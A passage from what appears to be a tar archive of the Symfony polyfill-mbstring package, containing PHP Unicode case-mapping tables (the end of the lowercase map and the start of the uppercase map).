=> 'ⱅ', 'Ⱆ' => 'ⱆ', 'Ⱇ' => 'ⱇ', 'Ⱈ' => 'ⱈ', 'Ⱉ' => 'ⱉ', 'Ⱊ' => 'ⱊ', 'Ⱋ' => 'ⱋ', 'Ⱌ' => 'ⱌ', 'Ⱍ' => 'ⱍ', 'Ⱎ' => 'ⱎ', 'Ⱏ' => 'ⱏ', 'Ⱐ' => 'ⱐ', 'Ⱑ' => 'ⱑ', 'Ⱒ' => 'ⱒ', 'Ⱓ' => 'ⱓ', 'Ⱔ' => 'ⱔ', 'Ⱕ' => 'ⱕ', 'Ⱖ' => 'ⱖ', 'Ⱗ' => 'ⱗ', 'Ⱘ' => 'ⱘ', 'Ⱙ' => 'ⱙ', 'Ⱚ' => 'ⱚ', 'Ⱛ' => 'ⱛ', 'Ⱜ' => 'ⱜ', 'Ⱝ' => 'ⱝ', 'Ⱞ' => 'ⱞ', 'Ⱡ' => 'ⱡ', 'Ɫ' => 'ɫ', 'Ᵽ' => 'ᵽ', 'Ɽ' => 'ɽ', 'Ⱨ' => 'ⱨ', 'Ⱪ' => 'ⱪ', 'Ⱬ' => 'ⱬ', 'Ɑ' => 'ɑ', 'Ɱ' => 'ɱ', 'Ɐ' => 'ɐ', 'Ɒ' => 'ɒ', 'Ⱳ' => 'ⱳ', 'Ⱶ' => 'ⱶ', 'Ȿ' => 'ȿ', 'Ɀ' => 'ɀ', 'Ⲁ' => 'ⲁ', 'Ⲃ' => 'ⲃ', 'Ⲅ' => 'ⲅ', 'Ⲇ' => 'ⲇ', 'Ⲉ' => 'ⲉ', 'Ⲋ' => 'ⲋ', 'Ⲍ' => 'ⲍ', 'Ⲏ' => 'ⲏ', 'Ⲑ' => 'ⲑ', 'Ⲓ' => 'ⲓ', 'Ⲕ' => 'ⲕ', 'Ⲗ' => 'ⲗ', 'Ⲙ' => 'ⲙ', 'Ⲛ' => 'ⲛ', 'Ⲝ' => 'ⲝ', 'Ⲟ' => 'ⲟ', 'Ⲡ' => 'ⲡ', 'Ⲣ' => 'ⲣ', 'Ⲥ' => 'ⲥ', 'Ⲧ' => 'ⲧ', 'Ⲩ' => 'ⲩ', 'Ⲫ' => 'ⲫ', 'Ⲭ' => 'ⲭ', 'Ⲯ' => 'ⲯ', 'Ⲱ' => 'ⲱ', 'Ⲳ' => 'ⲳ', 'Ⲵ' => 'ⲵ', 'Ⲷ' => 'ⲷ', 'Ⲹ' => 'ⲹ', 'Ⲻ' => 'ⲻ', 'Ⲽ' => 'ⲽ', 'Ⲿ' => 'ⲿ', 'Ⳁ' => 'ⳁ', 'Ⳃ' => 'ⳃ', 'Ⳅ' => 'ⳅ', 'Ⳇ' => 'ⳇ', 'Ⳉ' => 'ⳉ', 'Ⳋ' => 'ⳋ', 'Ⳍ' => 'ⳍ', 'Ⳏ' => 'ⳏ', 'Ⳑ' => 'ⳑ', 'Ⳓ' => 'ⳓ', 'Ⳕ' => 'ⳕ', 'Ⳗ' => 'ⳗ', 'Ⳙ' => 'ⳙ', 'Ⳛ' => 'ⳛ', 'Ⳝ' => 'ⳝ', 'Ⳟ' => 'ⳟ', 'Ⳡ' => 'ⳡ', 'Ⳣ' => 'ⳣ', 'Ⳬ' => 'ⳬ', 'Ⳮ' => 'ⳮ', 'Ⳳ' => 'ⳳ', 'Ꙁ' => 'ꙁ', 'Ꙃ' => 'ꙃ', 'Ꙅ' => 'ꙅ', 'Ꙇ' => 'ꙇ', 'Ꙉ' => 'ꙉ', 'Ꙋ' => 'ꙋ', 'Ꙍ' => 'ꙍ', 'Ꙏ' => 'ꙏ', 'Ꙑ' => 'ꙑ', 'Ꙓ' => 'ꙓ', 'Ꙕ' => 'ꙕ', 'Ꙗ' => 'ꙗ', 'Ꙙ' => 'ꙙ', 'Ꙛ' => 'ꙛ', 'Ꙝ' => 'ꙝ', 'Ꙟ' => 'ꙟ', 'Ꙡ' => 'ꙡ', 'Ꙣ' => 'ꙣ', 'Ꙥ' => 'ꙥ', 'Ꙧ' => 'ꙧ', 'Ꙩ' => 'ꙩ', 'Ꙫ' => 'ꙫ', 'Ꙭ' => 'ꙭ', 'Ꚁ' => 'ꚁ', 'Ꚃ' => 'ꚃ', 'Ꚅ' => 'ꚅ', 'Ꚇ' => 'ꚇ', 'Ꚉ' => 'ꚉ', 'Ꚋ' => 'ꚋ', 'Ꚍ' => 'ꚍ', 'Ꚏ' => 'ꚏ', 'Ꚑ' => 'ꚑ', 'Ꚓ' => 'ꚓ', 'Ꚕ' => 'ꚕ', 'Ꚗ' => 'ꚗ', 'Ꚙ' => 'ꚙ', 'Ꚛ' => 'ꚛ', 'Ꜣ' => 'ꜣ', 'Ꜥ' => 'ꜥ', 'Ꜧ' => 'ꜧ', 'Ꜩ' => 'ꜩ', 'Ꜫ' => 'ꜫ', 'Ꜭ' => 'ꜭ', 'Ꜯ' => 'ꜯ', 'Ꜳ' => 'ꜳ', 'Ꜵ' => 'ꜵ', 'Ꜷ' => 'ꜷ', 'Ꜹ' => 'ꜹ', 'Ꜻ' => 'ꜻ', 'Ꜽ' => 'ꜽ', 'Ꜿ' => 'ꜿ', 'Ꝁ' => 'ꝁ', 'Ꝃ' => 'ꝃ', 'Ꝅ' => 'ꝅ', 'Ꝇ' => 'ꝇ', 'Ꝉ' => 'ꝉ', 'Ꝋ' => 'ꝋ', 'Ꝍ' => 'ꝍ', 'Ꝏ' => 'ꝏ', 'Ꝑ' => 'ꝑ', 'Ꝓ' => 'ꝓ', 'Ꝕ' => 'ꝕ', 'Ꝗ' => 'ꝗ', 'Ꝙ' => 'ꝙ', 'Ꝛ' => 'ꝛ', 'Ꝝ' => 'ꝝ', 'Ꝟ' => 'ꝟ', 'Ꝡ' => 'ꝡ', 'Ꝣ' => 'ꝣ', 'Ꝥ' => 'ꝥ', 'Ꝧ' => 'ꝧ', 'Ꝩ' => 'ꝩ', 'Ꝫ' => 'ꝫ', 'Ꝭ' => 'ꝭ', 'Ꝯ' => 'ꝯ', 'Ꝺ' => 'ꝺ', 'Ꝼ' => 'ꝼ', 'Ᵹ' => 'ᵹ', 'Ꝿ' => 'ꝿ', 'Ꞁ' => 'ꞁ', 'Ꞃ' => 'ꞃ', 'Ꞅ' => 'ꞅ', 'Ꞇ' => 'ꞇ', 'Ꞌ' => 'ꞌ', 'Ɥ' => 'ɥ', 'Ꞑ' => 'ꞑ', 'Ꞓ' => 'ꞓ', 'Ꞗ' => 'ꞗ', 'Ꞙ' => 'ꞙ', 'Ꞛ' => 'ꞛ', 'Ꞝ' => 'ꞝ', 'Ꞟ' => 'ꞟ', 'Ꞡ' => 'ꞡ', 'Ꞣ' => 'ꞣ', 'Ꞥ' => 'ꞥ', 'Ꞧ' => 'ꞧ', 'Ꞩ' => 'ꞩ', 'Ɦ' => 'ɦ', 'Ɜ' => 'ɜ', 'Ɡ' => 'ɡ', 'Ɬ' => 'ɬ', 'Ɪ' => 'ɪ', 'Ʞ' => 'ʞ', 'Ʇ' => 'ʇ', 'Ʝ' => 'ʝ', 'Ꭓ' => 'ꭓ', 'Ꞵ' => 'ꞵ', 'Ꞷ' => 'ꞷ', 'Ꞹ' => 'ꞹ', 'Ꞻ' => 'ꞻ', 'Ꞽ' => 'ꞽ', 'Ꞿ' => 'ꞿ', 'Ꟃ' => 'ꟃ', 'Ꞔ' => 'ꞔ', 'Ʂ' => 'ʂ', 'Ᶎ' => 'ᶎ', 'Ꟈ' => 'ꟈ', 'Ꟊ' => 'ꟊ', 'Ꟶ' => 'ꟶ', 'A' => 'a', 'B' => 'b', 'C' => 'c', 'D' => 'd', 'E' => 'e', 'F' => 'f', 'G' => 'g', 'H' => 'h', 'I' => 'i', 'J' => 'j', 'K' => 'k', 'L' => 'l', 'M' => 'm', 'N' => 'n', 'O' => 'o', 'P' => 'p', 'Q' => 'q', 'R' => 'r', 'S' => 's', 'T' => 't', 'U' => 'u', 'V' => 'v', 'W' => 'w', 'X' => 'x', 'Y' => 'y', 'Z' => 'z', '𐐀' => '𐐨', '𐐁' => '𐐩', '𐐂' => '𐐪', '𐐃' => '𐐫', '𐐄' => '𐐬', '𐐅' => '𐐭', '𐐆' => '𐐮', '𐐇' => '𐐯', '𐐈' => '𐐰', '𐐉' => '𐐱', '𐐊' => '𐐲', '𐐋' => '𐐳', '𐐌' => '𐐴', '𐐍' => '𐐵', '𐐎' => '𐐶', '𐐏' => '𐐷', '𐐐' => '𐐸', '𐐑' => '𐐹', '𐐒' => '𐐺', '𐐓' => '𐐻', '𐐔' => '𐐼', '𐐕' => '𐐽', '𐐖' => '𐐾', '𐐗' => '𐐿', '𐐘' => '𐑀', '𐐙' => '𐑁', '𐐚' => '𐑂', '𐐛' => '𐑃', '𐐜' => '𐑄', '𐐝' => '𐑅', '𐐞' => '𐑆', '𐐟' => '𐑇', '𐐠' => '𐑈', '𐐡' => '𐑉', '𐐢' => '𐑊', '𐐣' => '𐑋', '𐐤' => '𐑌', '𐐥' => '𐑍', '𐐦' => '𐑎', '𐐧' => '𐑏', '𐒰' => '𐓘', '𐒱' => '𐓙', '𐒲' => '𐓚', '𐒳' => '𐓛', '𐒴' => '𐓜', '𐒵' => '𐓝', '𐒶' => '𐓞', '𐒷' => '𐓟', '𐒸' => '𐓠', '𐒹' => '𐓡', '𐒺' => '𐓢', '𐒻' => '𐓣', '𐒼' => '𐓤', '𐒽' => '𐓥', '𐒾' => '𐓦', '𐒿' => '𐓧', '𐓀' => '𐓨', '𐓁' => '𐓩', '𐓂' => '𐓪', '𐓃' => '𐓫', '𐓄' => '𐓬', '𐓅' => '𐓭', '𐓆' => '𐓮', '𐓇' => '𐓯', '𐓈' => '𐓰', '𐓉' => '𐓱', '𐓊' => '𐓲', '𐓋' => '𐓳', '𐓌' => '𐓴', '𐓍' => '𐓵', '𐓎' => '𐓶', '𐓏' => '𐓷', '𐓐' => '𐓸', '𐓑' => '𐓹', '𐓒' => '𐓺', '𐓓' => '𐓻', '𐲀' => '𐳀', '𐲁' => '𐳁', '𐲂' => '𐳂', '𐲃' => '𐳃', '𐲄' => '𐳄', '𐲅' => '𐳅', '𐲆' => '𐳆', '𐲇' => '𐳇', '𐲈' => '𐳈', '𐲉' => '𐳉', '𐲊' => '𐳊', '𐲋' => '𐳋', '𐲌' => '𐳌', '𐲍' => '𐳍', '𐲎' => '𐳎', '𐲏' => '𐳏', '𐲐' => '𐳐', '𐲑' => '𐳑', '𐲒' => '𐳒', '𐲓' => '𐳓', '𐲔' => '𐳔', '𐲕' => '𐳕', '𐲖' => '𐳖', '𐲗' => '𐳗', '𐲘' => '𐳘', '𐲙' => '𐳙', '𐲚' => '𐳚', '𐲛' => '𐳛', '𐲜' => '𐳜', '𐲝' => '𐳝', '𐲞' => '𐳞', '𐲟' => '𐳟', '𐲠' => '𐳠', '𐲡' => '𐳡', '𐲢' => '𐳢', '𐲣' => '𐳣', '𐲤' => '𐳤', '𐲥' => '𐳥', '𐲦' => '𐳦', '𐲧' => '𐳧', '𐲨' => '𐳨', '𐲩' => '𐳩', '𐲪' => '𐳪', '𐲫' => '𐳫', '𐲬' => '𐳬', '𐲭' => '𐳭', '𐲮' => '𐳮', '𐲯' => '𐳯', '𐲰' => '𐳰', '𐲱' => '𐳱', '𐲲' => '𐳲', '𑢠' => '𑣀', '𑢡' => '𑣁', '𑢢' => '𑣂', '𑢣' => '𑣃', '𑢤' => '𑣄', '𑢥' => '𑣅', '𑢦' => '𑣆', '𑢧' => '𑣇', '𑢨' => '𑣈', '𑢩' => '𑣉', '𑢪' => '𑣊', '𑢫' => '𑣋', '𑢬' => '𑣌', '𑢭' => '𑣍', '𑢮' => '𑣎', '𑢯' => '𑣏', '𑢰' => '𑣐', '𑢱' => '𑣑', '𑢲' => '𑣒', '𑢳' => '𑣓', '𑢴' => '𑣔', '𑢵' => '𑣕', '𑢶' => '𑣖', '𑢷' => '𑣗', '𑢸' => '𑣘', '𑢹' => '𑣙', '𑢺' => '𑣚', '𑢻' => '𑣛', '𑢼' => '𑣜', '𑢽' => '𑣝', '𑢾' => '𑣞', '𑢿' => '𑣟', '𖹀' => '𖹠', '𖹁' => '𖹡', '𖹂' => '𖹢', '𖹃' => '𖹣', '𖹄' => '𖹤', '𖹅' => '𖹥', '𖹆' => '𖹦', '𖹇' => '𖹧', '𖹈' => '𖹨', '𖹉' => '𖹩', '𖹊' => '𖹪', '𖹋' => '𖹫', '𖹌' => '𖹬', '𖹍' => '𖹭', '𖹎' => '𖹮', '𖹏' => '𖹯', '𖹐' => '𖹰', '𖹑' => '𖹱', '𖹒' => '𖹲', '𖹓' => '𖹳', '𖹔' => '𖹴', '𖹕' => '𖹵', '𖹖' => '𖹶', '𖹗' => '𖹷', '𖹘' => '𖹸', '𖹙' => '𖹹', '𖹚' => '𖹺', '𖹛' => '𖹻', '𖹜' => '𖹼', '𖹝' => '𖹽', '𖹞' => '𖹾', '𖹟' => '𖹿', '𞤀' => '𞤢', '𞤁' => '𞤣', '𞤂' => '𞤤', '𞤃' => '𞤥', '𞤄' => '𞤦', '𞤅' => '𞤧', '𞤆' => '𞤨', '𞤇' => '𞤩', '𞤈' => '𞤪', '𞤉' => '𞤫', '𞤊' => '𞤬', '𞤋' => '𞤭', '𞤌' => '𞤮', '𞤍' => '𞤯', '𞤎' => '𞤰', '𞤏' => '𞤱', '𞤐' => '𞤲', '𞤑' => '𞤳', '𞤒' => '𞤴', '𞤓' => '𞤵', '𞤔' => '𞤶', '𞤕' => '𞤷', '𞤖' => '𞤸', '𞤗' => '𞤹', '𞤘' => '𞤺', '𞤙' => '𞤻', '𞤚' => '𞤼', '𞤛' => '𞤽', '𞤜' => '𞤾', '𞤝' => '𞤿', '𞤞' => '𞥀', '𞤟' => '𞥁', '𞤠' => '𞥂', '𞤡' => '𞥃', ); polyfill-mbstring/Resources/unidata/upperCase.php000064400000063322151113512120016256 0ustar00 'A', 'b' => 'B', 'c' => 'C', 'd' => 'D', 'e' => 'E', 'f' => 'F', 'g' => 'G', 'h' => 'H', 'i' => 'I', 'j' => 'J', 'k' => 'K', 'l' => 'L', 'm' => 'M', 'n' => 'N', 'o' => 'O', 'p' => 'P', 'q' => 'Q', 'r' => 'R', 's' => 'S', 't' => 'T', 'u' => 'U', 'v' => 'V', 'w' => 'W', 'x' => 'X', 'y' => 'Y', 'z' => 'Z', 'µ' => 'Μ', 'à' => 'À', 'á' => 'Á', 'â' => 'Â', 'ã' => 'Ã', 'ä' => 'Ä', 'å' => 'Å', 'æ' => 'Æ', 'ç' => 'Ç', 'è' => 'È', 'é' => 'É', 'ê' => 'Ê', 'ë' => 'Ë', 'ì' => 'Ì', 'í' => 'Í', 'î' => 'Î', 'ï' => 'Ï', 'ð' => 'Ð', 'ñ' => 'Ñ', 'ò' => 'Ò', 'ó' => 'Ó', 'ô' => 'Ô', 'õ' => 'Õ', 'ö' => 'Ö', 'ø' => 'Ø', 'ù' => 'Ù', 'ú' => 'Ú', 'û' => 'Û', 'ü' => 'Ü', 'ý' => 'Ý', 'þ' => 'Þ', 'ÿ' => 'Ÿ', 'ā' => 'Ā', 'ă' => 'Ă', 'ą' => 'Ą', 'ć' => 'Ć', 'ĉ' => 'Ĉ', 'ċ' => 'Ċ', 'č' => 'Č', 'ď' => 'Ď', 'đ' => 'Đ', 'ē' => 'Ē', 'ĕ' => 'Ĕ', 'ė' => 'Ė', 'ę' => 'Ę', 'ě' => 'Ě', 'ĝ' => 'Ĝ', 'ğ' => 'Ğ', 'ġ' => 'Ġ', 'ģ' => 'Ģ', 'ĥ' => 'Ĥ', 'ħ' => 'Ħ', 'ĩ' => 'Ĩ', 'ī' => 'Ī', 'ĭ' => 'Ĭ', 'į' => 'Į', 'ı' => 'I', 'ij' => 'IJ', 'ĵ' => 'Ĵ', 'ķ' => 'Ķ', 'ĺ' => 'Ĺ', 'ļ' => 'Ļ', 'ľ' => 'Ľ', 'ŀ' => 'Ŀ', 'ł' => 'Ł', 'ń' => 'Ń', 'ņ' => 'Ņ', 'ň' => 'Ň', 'ŋ' => 'Ŋ', 'ō' => 'Ō', 'ŏ' => 'Ŏ', 'ő' => 'Ő', 'œ' => 'Œ', 'ŕ' => 'Ŕ', 'ŗ' => 'Ŗ', 'ř' => 'Ř', 'ś' => 'Ś', 'ŝ' => 'Ŝ', 'ş' => 'Ş', 'š' => 'Š', 'ţ' => 'Ţ', 'ť' => 'Ť', 'ŧ' => 'Ŧ', 'ũ' => 'Ũ', 'ū' => 'Ū', 'ŭ' => 'Ŭ', 'ů' => 'Ů', 'ű' => 'Ű', 'ų' => 'Ų', 'ŵ' => 'Ŵ', 'ŷ' => 'Ŷ', 'ź' => 'Ź', 'ż' => 'Ż', 'ž' => 'Ž', 'ſ' => 'S', 'ƀ' => 'Ƀ', 'ƃ' => 'Ƃ', 'ƅ' => 'Ƅ', 'ƈ' => 'Ƈ', 'ƌ' => 'Ƌ', 'ƒ' => 'Ƒ', 'ƕ' => 'Ƕ', 'ƙ' => 'Ƙ', 'ƚ' => 'Ƚ', 'ƞ' => 'Ƞ', 'ơ' => 'Ơ', 'ƣ' => 'Ƣ', 'ƥ' => 'Ƥ', 'ƨ' => 'Ƨ', 'ƭ' => 'Ƭ', 'ư' => 'Ư', 'ƴ' => 'Ƴ', 'ƶ' => 'Ƶ', 'ƹ' => 'Ƹ', 'ƽ' => 'Ƽ', 'ƿ' => 'Ƿ', 'Dž' => 'DŽ', 'dž' => 'DŽ', 'Lj' => 'LJ', 'lj' => 'LJ', 'Nj' => 'NJ', 'nj' => 'NJ', 'ǎ' => 'Ǎ', 'ǐ' => 'Ǐ', 'ǒ' => 'Ǒ', 'ǔ' => 'Ǔ', 'ǖ' => 'Ǖ', 'ǘ' => 'Ǘ', 'ǚ' => 'Ǚ', 'ǜ' => 'Ǜ', 'ǝ' => 'Ǝ', 'ǟ' => 'Ǟ', 'ǡ' => 'Ǡ', 'ǣ' => 'Ǣ', 'ǥ' => 'Ǥ', 'ǧ' => 'Ǧ', 'ǩ' => 'Ǩ', 'ǫ' => 'Ǫ', 'ǭ' => 'Ǭ', 'ǯ' => 'Ǯ', 'Dz' => 'DZ', 'dz' => 'DZ', 'ǵ' => 'Ǵ', 'ǹ' => 'Ǹ', 'ǻ' => 'Ǻ', 'ǽ' => 'Ǽ', 'ǿ' => 'Ǿ', 'ȁ' => 'Ȁ', 'ȃ' => 'Ȃ', 'ȅ' => 'Ȅ', 'ȇ' => 'Ȇ', 'ȉ' => 'Ȉ', 'ȋ' => 'Ȋ', 'ȍ' => 'Ȍ', 'ȏ' => 'Ȏ', 'ȑ' => 'Ȑ', 'ȓ' => 'Ȓ', 'ȕ' => 'Ȕ', 'ȗ' => 'Ȗ', 'ș' => 'Ș', 'ț' => 'Ț', 'ȝ' => 'Ȝ', 'ȟ' => 'Ȟ', 'ȣ' => 'Ȣ', 'ȥ' => 'Ȥ', 'ȧ' => 'Ȧ', 'ȩ' => 'Ȩ', 'ȫ' => 'Ȫ', 'ȭ' => 'Ȭ', 'ȯ' => 'Ȯ', 'ȱ' => 'Ȱ', 'ȳ' => 'Ȳ', 'ȼ' => 'Ȼ', 'ȿ' => 'Ȿ', 'ɀ' => 'Ɀ', 'ɂ' => 'Ɂ', 'ɇ' => 'Ɇ', 'ɉ' => 'Ɉ', 'ɋ' => 'Ɋ', 'ɍ' => 'Ɍ', 'ɏ' => 'Ɏ', 'ɐ' => 'Ɐ', 'ɑ' => 'Ɑ', 'ɒ' => 'Ɒ', 'ɓ' => 'Ɓ', 'ɔ' => 'Ɔ', 'ɖ' => 'Ɖ', 'ɗ' => 'Ɗ', 'ə' => 'Ə', 'ɛ' => 'Ɛ', 'ɜ' => 'Ɜ', 'ɠ' => 'Ɠ', 'ɡ' => 'Ɡ', 'ɣ' => 'Ɣ', 'ɥ' => 'Ɥ', 'ɦ' => 'Ɦ', 'ɨ' => 'Ɨ', 'ɩ' => 'Ɩ', 'ɪ' => 'Ɪ', 'ɫ' => 'Ɫ', 'ɬ' => 'Ɬ', 'ɯ' => 'Ɯ', 'ɱ' => 'Ɱ', 'ɲ' => 'Ɲ', 'ɵ' => 'Ɵ', 'ɽ' => 'Ɽ', 'ʀ' => 'Ʀ', 'ʂ' => 'Ʂ', 'ʃ' => 'Ʃ', 'ʇ' => 'Ʇ', 'ʈ' => 'Ʈ', 'ʉ' => 'Ʉ', 'ʊ' => 'Ʊ', 'ʋ' => 'Ʋ', 'ʌ' => 'Ʌ', 'ʒ' => 'Ʒ', 'ʝ' => 'Ʝ', 'ʞ' => 'Ʞ', 'ͅ' => 'Ι', 'ͱ' => 'Ͱ', 'ͳ' => 'Ͳ', 'ͷ' => 'Ͷ', 'ͻ' => 'Ͻ', 'ͼ' => 'Ͼ', 'ͽ' => 'Ͽ', 'ά' => 'Ά', 'έ' => 'Έ', 'ή' => 'Ή', 'ί' => 'Ί', 'α' => 'Α', 'β' => 'Β', 'γ' => 'Γ', 'δ' => 'Δ', 'ε' => 'Ε', 'ζ' => 'Ζ', 'η' => 'Η', 'θ' => 'Θ', 'ι' => 'Ι', 'κ' => 'Κ', 'λ' => 'Λ', 'μ' => 'Μ', 'ν' => 'Ν', 'ξ' => 'Ξ', 'ο' => 'Ο', 'π' => 'Π', 'ρ' => 'Ρ', 'ς' => 'Σ', 'σ' => 'Σ', 'τ' => 'Τ', 'υ' => 'Υ', 'φ' => 'Φ', 'χ' => 'Χ', 'ψ' => 'Ψ', 'ω' => 'Ω', 'ϊ' => 'Ϊ', 'ϋ' => 'Ϋ', 'ό' => 'Ό', 'ύ' => 'Ύ', 'ώ' => 'Ώ', 'ϐ' => 'Β', 'ϑ' => 'Θ', 'ϕ' => 'Φ', 'ϖ' => 'Π', 'ϗ' => 'Ϗ', 'ϙ' => 'Ϙ', 'ϛ' => 'Ϛ', 'ϝ' => 'Ϝ', 'ϟ' => 'Ϟ', 'ϡ' => 'Ϡ', 'ϣ' => 'Ϣ', 'ϥ' => 'Ϥ', 'ϧ' => 'Ϧ', 'ϩ' => 'Ϩ', 'ϫ' => 'Ϫ', 'ϭ' => 'Ϭ', 'ϯ' => 'Ϯ', 'ϰ' => 'Κ', 'ϱ' => 'Ρ', 'ϲ' => 'Ϲ', 'ϳ' => 'Ϳ', 'ϵ' => 'Ε', 'ϸ' => 'Ϸ', 'ϻ' => 'Ϻ', 'а' => 'А', 'б' => 'Б', 'в' => 'В', 'г' => 'Г', 'д' => 'Д', 'е' => 'Е', 'ж' => 'Ж', 'з' => 'З', 'и' => 'И', 'й' => 'Й', 'к' => 'К', 'л' => 'Л', 'м' => 'М', 'н' => 'Н', 'о' => 'О', 'п' => 'П', 'р' => 'Р', 'с' => 'С', 'т' => 'Т', 'у' => 'У', 'ф' => 'Ф', 'х' => 'Х', 'ц' => 'Ц', 'ч' => 'Ч', 'ш' => 'Ш', 'щ' => 'Щ', 'ъ' => 'Ъ', 'ы' => 'Ы', 'ь' => 'Ь', 'э' => 'Э', 'ю' => 'Ю', 'я' => 'Я', 'ѐ' => 'Ѐ', 'ё' => 'Ё', 'ђ' => 'Ђ', 'ѓ' => 'Ѓ', 'є' => 'Є', 'ѕ' => 'Ѕ', 'і' => 'І', 'ї' => 'Ї', 'ј' => 'Ј', 'љ' => 'Љ', 'њ' => 'Њ', 'ћ' => 'Ћ', 'ќ' => 'Ќ', 'ѝ' => 'Ѝ', 'ў' => 'Ў', 'џ' => 'Џ', 'ѡ' => 'Ѡ', 'ѣ' => 'Ѣ', 'ѥ' => 'Ѥ', 'ѧ' => 'Ѧ', 'ѩ' => 'Ѩ', 'ѫ' => 'Ѫ', 'ѭ' => 'Ѭ', 'ѯ' => 'Ѯ', 'ѱ' => 'Ѱ', 'ѳ' => 'Ѳ', 'ѵ' => 'Ѵ', 'ѷ' => 'Ѷ', 'ѹ' => 'Ѹ', 'ѻ' => 'Ѻ', 'ѽ' => 'Ѽ', 'ѿ' => 'Ѿ', 'ҁ' => 'Ҁ', 'ҋ' => 'Ҋ', 'ҍ' => 'Ҍ', 'ҏ' => 'Ҏ', 'ґ' => 'Ґ', 'ғ' => 'Ғ', 'ҕ' => 'Ҕ', 'җ' => 'Җ', 'ҙ' => 'Ҙ', 'қ' => 'Қ', 'ҝ' => 'Ҝ', 'ҟ' => 'Ҟ', 'ҡ' => 'Ҡ', 'ң' => 'Ң', 'ҥ' => 'Ҥ', 'ҧ' => 'Ҧ', 'ҩ' => 'Ҩ', 'ҫ' => 'Ҫ', 'ҭ' => 'Ҭ', 'ү' => 'Ү', 'ұ' => 'Ұ', 'ҳ' => 'Ҳ', 'ҵ' => 'Ҵ', 'ҷ' => 'Ҷ', 'ҹ' => 'Ҹ', 'һ' => 'Һ', 'ҽ' => 'Ҽ', 'ҿ' => 'Ҿ', 'ӂ' => 'Ӂ', 'ӄ' => 'Ӄ', 'ӆ' => 'Ӆ', 'ӈ' => 'Ӈ', 'ӊ' => 'Ӊ', 'ӌ' => 'Ӌ', 'ӎ' => 'Ӎ', 'ӏ' => 'Ӏ', 'ӑ' => 'Ӑ', 'ӓ' => 'Ӓ', 'ӕ' => 'Ӕ', 'ӗ' => 'Ӗ', 'ә' => 'Ә', 'ӛ' => 'Ӛ', 'ӝ' => 'Ӝ', 'ӟ' => 'Ӟ', 'ӡ' => 'Ӡ', 'ӣ' => 'Ӣ', 'ӥ' => 'Ӥ', 'ӧ' => 'Ӧ', 'ө' => 'Ө', 'ӫ' => 'Ӫ', 'ӭ' => 'Ӭ', 'ӯ' => 'Ӯ', 'ӱ' => 'Ӱ', 'ӳ' => 'Ӳ', 'ӵ' => 'Ӵ', 'ӷ' => 'Ӷ', 'ӹ' => 'Ӹ', 'ӻ' => 'Ӻ', 'ӽ' => 'Ӽ', 'ӿ' => 'Ӿ', 'ԁ' => 'Ԁ', 'ԃ' => 'Ԃ', 'ԅ' => 'Ԅ', 'ԇ' => 'Ԇ', 'ԉ' => 'Ԉ', 'ԋ' => 'Ԋ', 'ԍ' => 'Ԍ', 'ԏ' => 'Ԏ', 'ԑ' => 'Ԑ', 'ԓ' => 'Ԓ', 'ԕ' => 'Ԕ', 'ԗ' => 'Ԗ', 'ԙ' => 'Ԙ', 'ԛ' => 'Ԛ', 'ԝ' => 'Ԝ', 'ԟ' => 'Ԟ', 'ԡ' => 'Ԡ', 'ԣ' => 'Ԣ', 'ԥ' => 'Ԥ', 'ԧ' => 'Ԧ', 'ԩ' => 'Ԩ', 'ԫ' => 'Ԫ', 'ԭ' => 'Ԭ', 'ԯ' => 'Ԯ', 'ա' => 'Ա', 'բ' => 'Բ', 'գ' => 'Գ', 'դ' => 'Դ', 'ե' => 'Ե', 'զ' => 'Զ', 'է' => 'Է', 'ը' => 'Ը', 'թ' => 'Թ', 'ժ' => 'Ժ', 'ի' => 'Ի', 'լ' => 'Լ', 'խ' => 'Խ', 'ծ' => 'Ծ', 'կ' => 'Կ', 'հ' => 'Հ', 'ձ' => 'Ձ', 'ղ' => 'Ղ', 'ճ' => 'Ճ', 'մ' => 'Մ', 'յ' => 'Յ', 'ն' => 'Ն', 'շ' => 'Շ', 'ո' => 'Ո', 'չ' => 'Չ', 'պ' => 'Պ', 'ջ' => 'Ջ', 'ռ' => 'Ռ', 'ս' => 'Ս', 'վ' => 'Վ', 'տ' => 'Տ', 'ր' => 'Ր', 'ց' => 'Ց', 'ւ' => 'Ւ', 'փ' => 'Փ', 'ք' => 'Ք', 'օ' => 'Օ', 'ֆ' => 'Ֆ', 'ა' => 'Ა', 'ბ' => 'Ბ', 'გ' => 'Გ', 'დ' => 'Დ', 'ე' => 'Ე', 'ვ' => 'Ვ', 'ზ' => 'Ზ', 'თ' => 'Თ', 'ი' => 'Ი', 'კ' => 'Კ', 'ლ' => 'Ლ', 'მ' => 'Მ', 'ნ' => 'Ნ', 'ო' => 'Ო', 'პ' => 'Პ', 'ჟ' => 'Ჟ', 'რ' => 'Რ', 'ს' => 'Ს', 'ტ' => 'Ტ', 'უ' => 'Უ', 'ფ' => 'Ფ', 'ქ' => 'Ქ', 'ღ' => 'Ღ', 'ყ' => 'Ყ', 'შ' => 'Შ', 'ჩ' => 'Ჩ', 'ც' => 'Ც', 'ძ' => 'Ძ', 'წ' => 'Წ', 'ჭ' => 'Ჭ', 'ხ' => 'Ხ', 'ჯ' => 'Ჯ', 'ჰ' => 'Ჰ', 'ჱ' => 'Ჱ', 'ჲ' => 'Ჲ', 'ჳ' => 'Ჳ', 'ჴ' => 'Ჴ', 'ჵ' => 'Ჵ', 'ჶ' => 'Ჶ', 'ჷ' => 'Ჷ', 'ჸ' => 'Ჸ', 'ჹ' => 'Ჹ', 'ჺ' => 'Ჺ', 'ჽ' => 'Ჽ', 'ჾ' => 'Ჾ', 'ჿ' => 'Ჿ', 'ᏸ' => 'Ᏸ', 'ᏹ' => 'Ᏹ', 'ᏺ' => 'Ᏺ', 'ᏻ' => 'Ᏻ', 'ᏼ' => 'Ᏼ', 'ᏽ' => 'Ᏽ', 'ᲀ' => 'В', 'ᲁ' => 'Д', 'ᲂ' => 'О', 'ᲃ' => 'С', 'ᲄ' => 'Т', 'ᲅ' => 'Т', 'ᲆ' => 'Ъ', 'ᲇ' => 'Ѣ', 'ᲈ' => 'Ꙋ', 'ᵹ' => 'Ᵹ', 'ᵽ' => 'Ᵽ', 'ᶎ' => 'Ᶎ', 'ḁ' => 'Ḁ', 'ḃ' => 'Ḃ', 'ḅ' => 'Ḅ', 'ḇ' => 'Ḇ', 'ḉ' => 'Ḉ', 'ḋ' => 'Ḋ', 'ḍ' => 'Ḍ', 'ḏ' => 'Ḏ', 'ḑ' => 'Ḑ', 'ḓ' => 'Ḓ', 'ḕ' => 'Ḕ', 'ḗ' => 'Ḗ', 'ḙ' => 'Ḙ', 'ḛ' => 